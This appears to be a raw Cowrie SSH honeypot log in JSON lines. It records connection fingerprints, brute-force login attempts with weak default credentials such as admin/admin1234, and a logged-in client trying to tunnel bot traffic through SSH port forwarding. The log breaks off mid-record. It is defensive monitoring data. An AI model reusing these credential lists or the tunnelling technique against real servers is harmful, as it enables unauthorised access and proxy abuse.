{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:15.674357Z","src_ip":"91.92.40.36","session":"4f48f7994b3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abcd123","message":"login attempt [ubuntu/abcd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:17.030698Z","src_ip":"91.92.40.36","session":"237b87482ff0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.2","message":"Connection lost after 12.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:19.937632Z","src_ip":"91.92.40.36","session":"237b87482ff0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"master123","message":"login attempt [master/master123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:22.754359Z","src_ip":"91.92.40.36","session":"4f48f7994b3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":40166,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ad07a4f7335","protocol":"ssh","message":"New connection: 91.92.40.36:40166 (159.203.135.109:22) [session: 1ad07a4f7335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:22.914880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:24.524483Z","src_ip":"91.92.40.36","session":"1ad07a4f7335","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:24.527714Z","src_ip":"91.92.40.36","session":"1ad07a4f7335","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.2","message":"Connection lost after 11.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:25.177838Z","src_ip":"91.92.40.36","session":"4f48f7994b3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":59735,"dst_ip":"10.17.0.5","dst_port":22,"session":"c19b0cf9fbd3","protocol":"ssh","message":"New connection: 123.27.168.40:59735 (10.17.0.5:22) [session: c19b0cf9fbd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:26.195649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:26.199658Z","src_ip":"123.27.168.40","session":"c19b0cf9fbd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:26.527846Z","src_ip":"123.27.168.40","session":"c19b0cf9fbd3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:27.686132Z","src_ip":"123.27.168.40","session":"c19b0cf9fbd3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:28.136349Z","session":"c19b0cf9fbd3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:28.288474Z","session":"c19b0cf9fbd3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:28.553854Z","src_ip":"123.27.168.40","session":"c19b0cf9fbd3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/90.0.4430.212 Mobile/14B72 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=cSspSyR%2BdUxjTSMkSzR1KA%3D%3DwhQx4VI7DNmW3pKUqJZOgfKYSmp3vnLvIW1T7pyNhoA9Nt9YlZzapr%2BihmFxturltYIR%2F4XbEPHWJgI9xzdoMMdLtfAJ5p69Ebcd9cNqe6vV8h3ybCcsjbFBr8LfMOjkjrPnqVVrLvCad9X1x9dJTVIgx3pCLfMUfMTP3pbkskaLxI8I4iD2zq%2BX%2FNoNmK%2BRPJLCT9kDdK28X%2FFkCd%2FoHKihqT3OVnY%2FZRoZysdIawmZRKgijpByKfme1uvhO52e4iIB84CPW6OL%2Fa7sLILsVrnhjAAhE3%2BBHSyIQngyFjMlfv%2B7dl00sGxCL0QAisCSy8DeV4JO8sQn24tStKk41HQmPlcdhd8dQPCsRHIFFeW%2F88TBFndQD%2Bx05LFKXcbKQzzMpOdi8AvgQJupBswSoe%2BHfMnvfcN4yCKoPQVGv5kytCxOQXVVj1L5Nra8h4rQ%2ByhKvLJwLjX0k7Dp%2FkHUrtjPyJp6EP3gXg4gXEUu8a1U%2F9dJj0pwuX9GM5s1nOff9t5jL%2Fe6osunbtkggvZZemoz1eqHQeI8nud5Dfov4mDFidr3NXGcr8jXqhbm%2BlOfYaOVW35qt5L3NXupMRHGrbzg9NS73GncmPpxfOY%2BYfwVYw%2FGLrb5FWaJ%2BgdsxFJswKYPwbt4zAktsoMQxAw5r9i8Gb5u4LRH3oOjagdYZ7jo2iApj2efj5UZmNavIbJpzKPHKvFKoIUQPJs302vptzHIFaqwqM7yCzTR8z5nQVDtESXIn9Tmgnb4Tnq%2F8jlNN9PyA9DSFAR27GwgGv%2FHCCMxYE0TZ3scIB3%2FVhDHshlCq06oy%2Ba4uSqlbh3yUcXEM%2BQKnflU%2BMeb89PGC4yU3ikge1R70mF5zlX0mCT7VaBNESIHYDWiapPcV8JwRXxmZf3o6rSavDoHg8JI8EZjBUaKjUTifYwJIg%2BdPyN4xTKqQaKXLoPj5EiqQPyz7xPrQ1Njf%2Bpjw1wqHGZ%2B1yyE1iVNBViOdrKTWOx%2FohAvtsUQZLwPQ%2FKAtDScM9fcN2qtUoYEN%2FON149DUty877rEcyCzL5z1X3SD9giGNx0tf%2Bk%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/90.0.4430.212 Mobile/14B72 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=cSspSyR%2BdUxjTSMkSzR1KA%3D%3DwhQx4VI7DNmW3pKUqJZOgfKYSmp3vnLvIW1T7pyNhoA9Nt9YlZzapr%2BihmFxturltYIR%2F4XbEPHWJgI9xzdoMMdLtfAJ5p69Ebcd9cNqe6vV8h3ybCcsjbFBr8LfMOjkjrPnqVVrLvCad9X1x9dJTVIgx3pCLfMUfMTP3pbkskaLxI8I4iD2zq%2BX%2FNoNmK%2BRPJLCT9kDdK28X%2FFkCd%2FoHKihqT3OVnY%2FZRoZysdIawmZRKgijpByKfme1uvhO52e4iIB84CPW6OL%2Fa7sLILsVrnhjAAhE3%2BBHSyIQngyFjMlfv%2B7dl00sGxCL0QAisCSy8DeV4JO8sQn24tStKk41HQmPlcdhd8dQPCsRHIFFeW%2F88TBFndQD%2Bx05LFKXcbKQzzMpOdi8AvgQJupBswSoe%2BHfMnvfcN4yCKoPQVGv5kytCxOQXVVj1L5Nra8h4rQ%2ByhKvLJwLjX0k7Dp%2FkHUrtjPyJp6EP3gXg4gXEUu8a1U%2F9dJj0pwuX9GM5s1nOff9t5jL%2Fe6osunbtkggvZZemoz1eqHQeI8nud5Dfov4mDFidr3NXGcr8jXqhbm%2BlOfYaOVW35qt5L3NXupMRHGrbzg9NS73GncmPpxfOY%2BYfwVYw%2FGLrb5FWaJ%2BgdsxFJswKYPwbt4zAktsoMQxAw5r9i8Gb5u4LRH3oOjagdYZ7jo2iApj2efj5UZmNavIbJpzKPHKvFKoIUQPJs302vptzHIFaqwqM7yCzTR8z5nQVDtESXIn9Tmgnb4Tnq%2F8jlNN9PyA9DSFAR27GwgGv%2FHCCMxYE0TZ3scIB3%2FVhDHshlCq06oy%2Ba4uSqlbh3yUcXEM%2BQKnflU%2BMeb89PGC4yU3ikge1R70mF5zlX0mCT7VaBNESIHYDWiapPcV8JwRXxmZf3o6rSavDoHg8JI8EZjBUaKjUTifYwJIg%2BdPyN4xTKqQaKXLoPj5EiqQPyz7xPrQ1Njf%2Bpjw1wqHGZ%2B1yyE1iVNBViOdrKTWOx%2FohAvtsUQZLwPQ%2FKAtDScM9fcN2qtUoYEN%2FON149DUty877rEcyCzL5z1X3SD9giGNx0tf%2Bk%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:28.557236Z","src_ip":"123.27.168.40","session":"c19b0cf9fbd3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:28.779706Z","src_ip":"123.27.168.40","session":"c19b0cf9fbd3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x0b\\xe4\\xf9\\x98\\xb9\\x94t\\x0c&|4\\xde\\xb0\\xd3 #\\xd0\\xf5P\\x1e2:\\x1d\\xab\\xe9\\x98\\xbd\\r\\xac\\xa6a\\x91 .*\\x97\\xc4\\xad\\xe2\\x897\\xa0\\xaeo)\\xb0\\xae\\xbc\\xc1\\xc3-\\x13\\x86\\x87UR'\\xa7?\\xab\\xc8\\xee\\xf8o\\x19\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 (\\x8ex\\x1e\\xe0\\xd6\\xb8\\xc1P\\xc6Qx\\xd6\\x98w\\x98O\\x15\\x01\\xac\\xbf\\xd5\\x1cW4~\\xe0\\x1a\\xb6\\xfe\\xc1n\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x0b\\xe4\\xf9\\x98\\xb9\\x94t\\x0c&|4\\xde\\xb0\\xd3 #\\xd0\\xf5P\\x1e2:\\x1d\\xab\\xe9\\x98\\xbd\\r\\xac\\xa6a\\x91 .*\\x97\\xc4\\xad\\xe2\\x897\\xa0\\xaeo)\\xb0\\xae\\xbc\\xc1\\xc3-\\x13\\x86\\x87UR'\\xa7?\\xab\\xc8\\xee\\xf8o\\x19\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 (\\x8ex\\x1e\\xe0\\xd6\\xb8\\xc1P\\xc6Qx\\xd6\\x98w\\x98O\\x15\\x01\\xac\\xbf\\xd5\\x1cW4~\\xe0\\x1a\\xb6\\xfe\\xc1n\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:28.783092Z","src_ip":"123.27.168.40","session":"c19b0cf9fbd3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:29.233508Z","session":"c19b0cf9fbd3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:17:29.465287Z","src_ip":"123.27.168.40","session":"c19b0cf9fbd3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x82\\xd9\\xe1Y$\\xfe\\xa2;\\x10\\xac f|\\xe9\\x9c\\xe5\\x8b \\xf8\\xfe\\xa4c0\\x7f\\xca~E.G\\xcb\\x82F Q\\x7f\\x99\\xb0\\xdd\\x1c\\x98\\xb1\\xb4\\xad\\x91;\\xf9\\xc6\\x97\\x95\\xa4\\xe9\\xc8!\\\\\\r{\\xfb\\xf7\\x8f3k0,\\xc3\\x1b\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 c];B\\x1cN\\xe0\\xf6\\xfc\\xa8\\xec\\xeaK\\xe6\\x12\\xa3\\x12\\xd2X\\xae\\xfb*\\xff\\x129b\\x18z\\x98\\xc5\\x9bw\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\